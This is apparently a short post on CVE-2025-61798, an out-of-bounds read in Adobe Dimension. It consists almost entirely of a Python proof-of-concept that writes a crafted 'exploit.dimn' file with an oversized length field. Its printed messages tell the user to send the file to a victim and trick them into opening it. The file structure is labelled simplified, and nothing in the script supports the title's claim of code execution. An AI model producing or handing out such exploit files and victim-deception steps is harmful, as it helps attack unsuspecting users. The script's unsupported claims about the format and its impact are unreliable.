CVE-2025-61798：Adobe Dimension越界读取导致代码执行漏洞

# CVE-2025-61798 PoC - Adobe Dimension Out-of-Bounds Read # This PoC demonstrates the concept of exploiting an OOB read vulnerability # in Adobe Dimension through a crafted file. import struct import os def generate_malicious_dimension_file(output_path): """ Generate a crafted file that triggers an out-of-bounds read in Adobe Dimension version <= 4.1.4. The vulnerability occurs when parsing certain file structures where length/offset fields are not properly validated. """ # Adobe Dimension project file header (simplified) header = b'DIMN' # Magic bytes version = struct.pack('<I', 0x04010400) # Version 4.1.4 # Crafted metadata block with malicious length field # The length field is set to a value larger than the actual buffer block_type = struct.pack('<H', 0x0001) # Geometry block claimed_length = struct.pack('<I', 0xFFFFFFF0) # Exaggerated length to trigger OOB read actual_data = b'\x00' * 64 # Small actual data # Build the malicious file payload = header + version + block_type + claimed_length + actual_data with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious file generated: {output_path}") print(f"[!] Send this file to victim and trick them to open it with Adobe Dimension") if __name__ == '__main__': output = 'exploit.dimn' generate_malicious_dimension_file(output) print("[*] PoC ready. Victim must open this file to trigger the vulnerability.")